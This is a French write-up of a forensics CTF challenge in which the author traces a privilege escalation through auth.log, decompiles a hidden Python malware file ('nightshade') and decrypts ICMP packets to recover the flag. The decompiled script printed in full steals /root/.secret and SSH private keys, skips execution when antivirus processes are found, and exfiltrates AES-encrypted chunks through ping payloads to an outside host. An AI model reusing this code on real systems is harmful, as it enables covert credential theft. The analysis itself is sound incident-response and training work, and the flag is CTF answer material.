DGSE CTF - Mission 3 (Forensic)
đ Reconnaissance
Jâai commencĂ© par analyser la VM avec Autopsy, on dĂ©couvre dans home
un répertoire tempuser
dans lequel il nây a pas grand chose dâintĂ©rĂ©ssant et un rĂ©pertoire johndoe
.
Dans le rĂ©pertoire de lâutilisateur johndoe
, on constate que le fichier .bash_history
a Ă©tĂ© supprimĂ©, probablement par lâattaquant dans le but de dissimuler ses activitĂ©s. On remarque cependant le fichier .sudo_as_admin_successful
. Ce fichier est créé automatiquement lors de la premiĂšre exĂ©cution rĂ©ussie de sudo par lâutilisateur, ce qui indique quâune Ă©lĂ©vation de privilĂšges a eu lieu.
đȘ Piste de lâĂ©lĂ©vation de privilĂšges
Si une Ă©lĂ©vation de privilĂšges Ă bien eu lieu, il serait intĂ©rĂ©ssant dâanalyser le fichier /var/log/auth.log
. Voici son contenu :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
2025-03-25T04:51:12.096804-04:00 UXWS112 sudo: pam_unix(sudo:session): session closed for user root
2025-03-25T04:51:12.102069-04:00 UXWS112 sudo: johndoe : TTY=pts/0 ; PWD=/home/johndoe ; USER=root ; COMMAND=/usr/bin/systemctl start auditd rsyslog
2025-03-25T04:51:12.102430-04:00 UXWS112 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by johndoe(uid=1000)
2025-03-25T04:51:12.143940-04:00 UXWS112 sudo: pam_unix(sudo:session): session closed for user root
2025-03-25T04:51:19.669845-04:00 UXWS112 sshd[1758]: Accepted password for johndoe from 192.168.1.10 port 37772 ssh2
2025-03-25T04:51:19.670782-04:00 UXWS112 sshd[1758]: pam_unix(sshd:session): session opened for user johndoe(uid=1000) by (uid=0)
2025-03-25T04:51:19.675023-04:00 UXWS112 systemd-logind[901]: New session 4 of user johndoe.
2025-03-25T04:51:19.719430-04:00 UXWS112 sshd[1758]: pam_env(sshd:session): deprecated reading of user environment enabled
2025-03-25T04:51:20.440593-04:00 UXWS112 sshd[1542]: Received disconnect from 192.168.1.10 port 48966:11: Bye Bye
2025-03-25T04:51:20.440727-04:00 UXWS112 sshd[1542]: Disconnected from user johndoe 192.168.1.10 port 48966
2025-03-25T04:51:20.441067-04:00 UXWS112 sshd[1497]: pam_unix(sshd:session): session closed for user johndoe
2025-03-25T04:51:20.444672-04:00 UXWS112 systemd-logind[901]: Session 2 logged out. Waiting for processes to exit.
2025-03-25T04:51:20.445707-04:00 UXWS112 systemd-logind[901]: Removed session 2.
2025-03-25T04:51:27.114047-04:00 UXWS112 sshd[1820]: Accepted password for johndoe from 192.168.1.10 port 40560 ssh2
2025-03-25T04:51:27.115083-04:00 UXWS112 sshd[1820]: pam_unix(sshd:session): session opened for user johndoe(uid=1000) by (uid=0)
2025-03-25T04:51:27.130451-04:00 UXWS112 systemd-logind[901]: New session 5 of user johndoe.
2025-03-25T04:51:27.148981-04:00 UXWS112 sshd[1820]: pam_env(sshd:session): deprecated reading of user environment enabled
2025-03-25T04:51:27.879309-04:00 UXWS112 sshd[1775]: Received disconnect from 192.168.1.10 port 37772:11: Bye Bye
2025-03-25T04:51:27.879401-04:00 UXWS112 sshd[1775]: Disconnected from user johndoe 192.168.1.10 port 37772
2025-03-25T04:51:27.879737-04:00 UXWS112 sshd[1758]: pam_unix(sshd:session): session closed for user johndoe
2025-03-25T04:51:27.883030-04:00 UXWS112 systemd-logind[901]: Session 4 logged out. Waiting for processes to exit.
2025-03-25T04:51:27.884422-04:00 UXWS112 systemd-logind[901]: Removed session 4.
2025-03-25T09:01:01.601901-04:00 UXWS112 sshd[2048]: Accepted password for johndoe from 192.168.1.10 port 55494 ssh2
2025-03-25T09:01:01.605067-04:00 UXWS112 sshd[2048]: pam_unix(sshd:session): session opened for user johndoe(uid=1000) by (uid=0)
2025-03-25T09:01:01.628002-04:00 UXWS112 systemd-logind[901]: New session 6 of user johndoe.
2025-03-25T09:01:01.696536-04:00 UXWS112 sshd[2048]: pam_env(sshd:session): deprecated reading of user environment enabled
2025-03-25T09:01:37.642413-04:00 UXWS112 sudo: johndoe : TTY=pts/1 ; PWD=/home/johndoe ; USER=root ; COMMAND=/usr/bin/apt update
2025-03-25T09:01:37.648390-04:00 UXWS112 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by johndoe(uid=1000)
2025-03-25T09:01:40.748027-04:00 UXWS112 sudo: pam_unix(sudo:session): session closed for user root
2025-03-25T09:03:02.402592-04:00 UXWS112 sudo: johndoe : TTY=pts/1 ; PWD=/home/johndoe ; USER=root ; COMMAND=/usr/bin/systemctl status ssh
2025-03-25T09:03:02.405054-04:00 UXWS112 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by johndoe(uid=1000)
2025-03-25T09:03:02.437736-04:00 UXWS112 sudo: pam_unix(sudo:session): session closed for user root
2025-03-25T09:04:00.950614-04:00 UXWS112 sudo: johndoe : TTY=pts/1 ; PWD=/home/johndoe ; USER=root ; COMMAND=/usr/sbin/adduser tempuser --disabled-password --gecos
2025-03-25T09:04:00.952504-04:00 UXWS112 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by johndoe(uid=1000)
2025-03-25T09:04:01.148241-04:00 UXWS112 groupadd[2458]: group added to /etc/group: name=tempuser, GID=1001
2025-03-25T09:04:01.155468-04:00 UXWS112 groupadd[2458]: group added to /etc/gshadow: name=tempuser
2025-03-25T09:04:01.159213-04:00 UXWS112 groupadd[2458]: new group: name=tempuser, GID=1001
2025-03-25T09:04:01.206081-04:00 UXWS112 useradd[2464]: new user: name=tempuser, UID=1001, GID=1001, home=/home/tempuser, shell=/bin/bash, from=/dev/pts/2
2025-03-25T09:04:01.288348-04:00 UXWS112 chfn[2473]: changed user 'tempuser' information
2025-03-25T09:04:01.324414-04:00 UXWS112 gpasswd[2479]: members of group users set by root to johndoe,tempuser
2025-03-25T09:04:01.332703-04:00 UXWS112 sudo: pam_unix(sudo:session): session closed for user root
2025-03-25T09:04:03.351988-04:00 UXWS112 sudo: johndoe : TTY=pts/1 ; PWD=/home/johndoe ; USER=root ; COMMAND=/usr/sbin/deluser tempuser
2025-03-25T09:04:03.353911-04:00 UXWS112 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by johndoe(uid=1000)
2025-03-25T09:04:03.574062-04:00 UXWS112 userdel[2492]: delete user 'tempuser'
2025-03-25T09:04:03.574346-04:00 UXWS112 userdel[2492]: delete 'tempuser' from group 'users'
2025-03-25T09:04:03.576685-04:00 UXWS112 userdel[2492]: removed group 'tempuser' owned by 'tempuser'
2025-03-25T09:04:03.577361-04:00 UXWS112 userdel[2492]: removed shadow group 'tempuser' owned by 'tempuser'
2025-03-25T09:04:03.577741-04:00 UXWS112 userdel[2492]: delete 'tempuser' from shadow group 'users'
2025-03-25T09:04:03.632961-04:00 UXWS112 sudo: pam_unix(sudo:session): session closed for user root
2025-03-25T09:04:20.750996-04:00 UXWS112 sudo: johndoe : TTY=pts/1 ; PWD=/home/johndoe ; USER=root ; COMMAND=/usr/bin/ls /root/.secret
2025-03-25T09:04:20.752761-04:00 UXWS112 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by johndoe(uid=1000)
2025-03-25T09:04:20.759607-04:00 UXWS112 sudo: pam_unix(sudo:session): session closed for user root
2025-03-25T09:04:28.498473-04:00 UXWS112 sudo: johndoe : TTY=pts/1 ; PWD=/home/johndoe ; USER=root ; COMMAND=/usr/bin/bash
2025-03-25T09:04:28.500224-04:00 UXWS112 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by johndoe(uid=1000)
2025-03-25T09:04:31.057471-04:00 UXWS112 sudo: pam_unix(sudo:session): session closed for user root
2025-03-25T09:04:31.069701-04:00 UXWS112 sudo: root : PWD=/home/johndoe ; USER=root ; ENV=PYTHONPATH=/home/johndoe/.local/lib/python3.7/site-packages ; COMMAND=/usr/local/bin/python3.7 /opt/fJQsJUNS/.sys
2025-03-25T09:04:31.070323-04:00 UXWS112 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=0)
2025-03-25T09:04:35.113119-04:00 UXWS112 sudo: pam_unix(sudo:session): session closed for user root
2025-03-25T09:04:50.681923-04:00 UXWS112 sudo: johndoe : TTY=pts/1 ; PWD=/home/johndoe ; USER=root ; COMMAND=/usr/bin/ls /root/.secret
2025-03-25T09:04:50.683011-04:00 UXWS112 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by johndoe(uid=1000)
2025-03-25T09:04:50.689732-04:00 UXWS112 sudo: pam_unix(sudo:session): session closed for user root
2025-03-25T09:05:01.436814-04:00 UXWS112 CRON[3245]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
2025-03-25T09:05:01.463177-04:00 UXWS112 CRON[3244]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
2025-03-25T09:05:01.464473-04:00 UXWS112 CRON[3243]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
2025-03-25T09:05:01.464784-04:00 UXWS112 CRON[3246]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
2025-03-25T09:05:01.465081-04:00 UXWS112 CRON[3247]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
2025-03-25T09:05:01.465871-04:00 UXWS112 CRON[3245]: pam_unix(cron:session): session closed for user root
2025-03-25T09:05:01.466229-04:00 UXWS112 CRON[3244]: pam_unix(cron:session): session closed for user root
2025-03-25T09:05:01.466732-04:00 UXWS112 CRON[3247]: pam_unix(cron:session): session closed for user root
2025-03-25T09:05:01.467042-04:00 UXWS112 CRON[3243]: pam_unix(cron:session): session closed for user root
2025-03-25T09:05:01.467235-04:00 UXWS112 CRON[3246]: pam_unix(cron:session): session closed for user root
2025-03-28T09:56:55.767246-04:00 UXWS112 polkitd[899]: Loading rules from directory /etc/polkit-1/rules.d
2025-03-28T09:56:55.768053-04:00 UXWS112 polkitd[899]: Loading rules from directory /usr/share/polkit-1/rules.d
2025-03-28T09:56:55.804605-04:00 UXWS112 polkitd[899]: Finished loading, compiling and executing 11 rules
2025-03-28T09:56:55.806400-04:00 UXWS112 polkitd[899]: Acquired the name org.freedesktop.PolicyKit1 on the system bus
2025-03-28T09:56:55.828275-04:00 UXWS112 systemd-logind[903]: New seat seat0.
2025-03-28T09:56:55.829958-04:00 UXWS112 systemd-logind[903]: Watching system buttons on /dev/input/event1 (Power Button)
2025-03-28T09:56:55.830020-04:00 UXWS112 systemd-logind[903]: Watching system buttons on /dev/input/event0 (AT Translated Set 2 keyboard)
Dans ces logs on voit que johndoe Ă :
- crée puis supprimé tempuser
- listé le contenu de
/root/.secret
- lancé un fichier avec python
/opt/fJQsJUNS/.sys
Intéréssons nous à ce dernier fichier :
A premiĂšre vue, ce fichier semble ĂȘtre un fichier python compilĂ© (pyc) dans lequel on apercoit des rĂ©fĂ©rences Ă b64decode
ou bien encore Ă la librairie Crypto.Cipherr
. Il semble aussi contenir des chemins de fichiers sensibles comme /root/.secretz
, ~/.ssh/id_rsaz
et /root/.ssh/id_rsa
. Ce fichier trÚs suspect semble avoir été compilé depuis le fichier nightshade.py
.
âïž Analyse du fichier python compilĂ©
On extrait depuis Autopsy le fichier .sys
quâon renomme en nightshade.pyc
puis on decompile ce fichier :
1
$ decompyle3 -o . nightshade.pyc
voici le fichier nightshade.py
décompilé :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
# decompyle3 version 3.9.2
# Python bytecode version base 3.7.0 (3394)
# Decompiled from: Python 3.10.11 (main, Apr 14 2025, 20:58:05) [GCC 14.2.0]
# Embedded file name: nightshade.py
# Compiled at: 2025-03-24 16:04:51
# Size of source mod 2**32: 2358 bytes
import os, subprocess, psutil, base64
from Crypto.Cipher import AES
__k = bytes.fromhex("e8f93d68b1c2d4e9f7a36b5c8d0f1e2a")
__v = bytes.fromhex("1f2d3c4b5a69788766554433221100ff")
__d = "37e0f8f92c71f1c3f047f43c13725ef1"
def __b64d(s):
return base64.b64decode(s.encode()).decode()
def __p(x):
return x + bytes([16 - len(x) % 16]) * (16 - len(x) % 16)
def __u(x):
return x[:-x[-1]]
def __x(h):
c = AES.new(__k, AES.MODE_CBC, __v)
return __u(c.decrypt(bytes.fromhex(h))).decode()
def __y(s):
c = AES.new(__k, AES.MODE_CBC, __v)
return c.encrypt(__p(s.encode())).hex()
def __chk_vm():
return False
def __chk_av():
targets = [
b'Y2xhbWQ=',b'YXZnZA==',b'c29waG9z',b'RVNFVA==',b'cmtodW50ZXI=']
try:
for p in psutil.process_iter(attrs=["name"]):
n = (p.info["name"] or "").lower()
for b64av in targets:
if base64.b64decode(b64av).decode().lower() in n:
print("ERR AV")
return True
except:
pass
return False
def __exf(path, dst, size=15):
if not os.path.exists(path):
return False
d = open(path, "rb").read()
segs = [d[i:i + size] for i in range(0, len(d), size)]
for seg in segs:
try:
payload = AES.new(__k, AES.MODE_CBC, __v).encrypt(__p(seg)).hex()
cmd = [__b64d("cGluZw=="), __b64d("LWM="), __b64d("MQ=="), __b64d("LXA="), payload, dst]
subprocess.run(cmd, stdout=(subprocess.DEVNULL), stderr=(subprocess.DEVNULL))
except:
continue
return True
def __main():
if __chk_vm():
return
if __chk_av():
return
__kll = [
"/root/.secret",
os.path.expanduser("~/.ssh/id_rsa"),
"/root/.ssh/id_rsa"]
for f in __kll:
if os.path.exists(f):
__exf(f, __x(__d))
_kkoo = "/root/.secret"
if os.path.exists(_kkoo):
try:
os.remove(_kkoo)
except Exception as e:
try:
pass
finally:
e = None
del e
if __name__ == "__main__":
__main()
# okay decompiling /home/kali/Bureau/nightshade.pyc
Le script importe plusieurs modules (os, subprocess, psutil, base64, Crypto.Cipher.AES) et définit :
- une clé AES
(__k)
, - un vecteur dâinitialisation
(__v)
, - une chaßne chiffrée
(__d)
__b64d()
décode une chaßne base64 en texte.
__p()
et __u()
sont des fonctions de padding/dépadding PKCS7 pour les blocs AES.
__x()
déchiffre une chaßne hexadécimale avec AES CBC.
__y()
chiffre une chaßne en AES CBC puis encode le résultat en hexadécimal.
__chk_av()
semble détecter si des processus liés à des antivirus connus sont actifs.
La fonction la plus intéréssante est __exf()
, cette fonction lit un fichier binaire, dĂ©coupe son contenu en segments de 15 octets, chiffre chaque segment en AES CBC, puis lâenvoie Ă distance via une commande ping (ICMP), dont les arguments sont construits Ă partir de chaĂźnes encodĂ©es en base64 :
1
cmd = ["ping", "-c", "1", "-p", payload, destination]
Cela envoie les donnĂ©es chiffrĂ©es dans la payload des paquets ICMP vers lâIP cible.
Finalement la fonction principale __main()
Ignore lâexĂ©cution si une VM ou un antivirus est dĂ©tectĂ©.
Cherche Ă exfiltrer les fichiers suivants (sâils existent) :
/root/.secret
~/.ssh/id_rsa (clé privée SSH)
/root/.ssh/id_rsa
Ces fichiers sont transmis en paquets ICMP Ă lâadresse dĂ©chiffrĂ©e depuis
__d
.Enfin, si le fichier
/root/.secret
existe encore, il est supprimé.
Puisque lâon a la clĂ© (__k)
, le vecteur dâinitialisation (__v)
et que lâon sait que le chiffrement utilisĂ© est AES en mode CBC avec du padding PKCS#7, on peut dĂ©chiffrer la variable __d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Cipher import AES
# Clé et IV extraits du script nightshade.py
key = bytes.fromhex("e8f93d68b1c2d4e9f7a36b5c8d0f1e2a")
iv = bytes.fromhex("1f2d3c4b5a69788766554433221100ff")
# Donnée chiffrée (__d)
ciphertext = bytes.fromhex("37e0f8f92c71f1c3f047f43c13725ef1")
# Fonction de déchiffrement avec dépadding PKCS#7
def unpad(x):
return x[:-x[-1]]
def decrypt_d(ciphertext):
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
return unpad(plaintext).decode()
# Affichage de la donnée déchifrée
print(decrypt_d(ciphertext))
Et voici le résultat :
1
2
$ python3 decrypt.py
vastation.null
Les données sont donc envoyées à vastation.null
. En regardant dans le fichier /etc/hosts
on voit que vastation.null
est mappé localement à 192.168.1.10
Ces informations vont nous permettre de mieux investiguer la capture rĂ©seau quâon nous a fourni.
đ Analyse de la capture rĂ©seau
On va donc chercher dans la capture réseau les paquets ICMP envoyés vers 192.168.1.10
:
Voici la premiÚre donnée dissimulée dans ces paquets ICMP :
1
a08508333fbef26b26cd9e17100edf59a08508333fbef26b26cd9e17100edf59a08508333fbef26b
Lors de lâanalyse du script malveillant nightshade.py
, on constate que les fichiers exfiltrĂ©s sont chiffrĂ©s par blocs de 15 octets, avec lâalgorithme AES en mode CBC. Or, AES nĂ©cessite des blocs de 16 octets : chaque segment est donc complĂ©tĂ© (padding PKCS#7), puis chiffrĂ© en un bloc de 16 octets.
Ce bloc chiffré est ensuite encodé en hexadécimal : 16 octets = 32 caractÚres hexadécimaux
Ici la séquence a08508333fbef26b26cd9e17100edf59
(32 caractĂšres) est rĂ©pĂ©tĂ©e Ă lâidentique. Cela signifie que le mĂȘme bloc AES chiffrĂ© a Ă©tĂ© envoyĂ© plusieurs fois, probablement pour Ă©viter toute perte de donnĂ©es lors de la transmission ICMP.
Regardons ce que lâon obtient si on essaye de dĂ©chiffrer cette sĂ©quence :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Cipher import AES
# Clé et IV extraits du script nightshade.py
key = bytes.fromhex("e8f93d68b1c2d4e9f7a36b5c8d0f1e2a")
iv = bytes.fromhex("1f2d3c4b5a69788766554433221100ff")
# Donnée du premier paquet ICMP
ciphertext = bytes.fromhex("a08508333fbef26b26cd9e17100edf59")
# Fonction de déchiffrement avec dépadding PKCS#7
def unpad(x):
return x[:-x[-1]]
def decrypt_d(ciphertext):
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
return unpad(plaintext).decode()
# Affichage de la donnée déchifrée
print(decrypt_d(ciphertext))
1
2
$ python3 decrypt.py
RM{986b8674b18e
On obtient ce quâil semble ĂȘtre la premiĂšre partie du Flag ! Si on rĂ©pete lâoperation sur les deux paquets suivants et quâon concatĂšne les trois chaĂźnes nous obtenons notre Flag !
Flag : RM{986b8674b18e7f3c36b24cf8c8195b36bba01d61}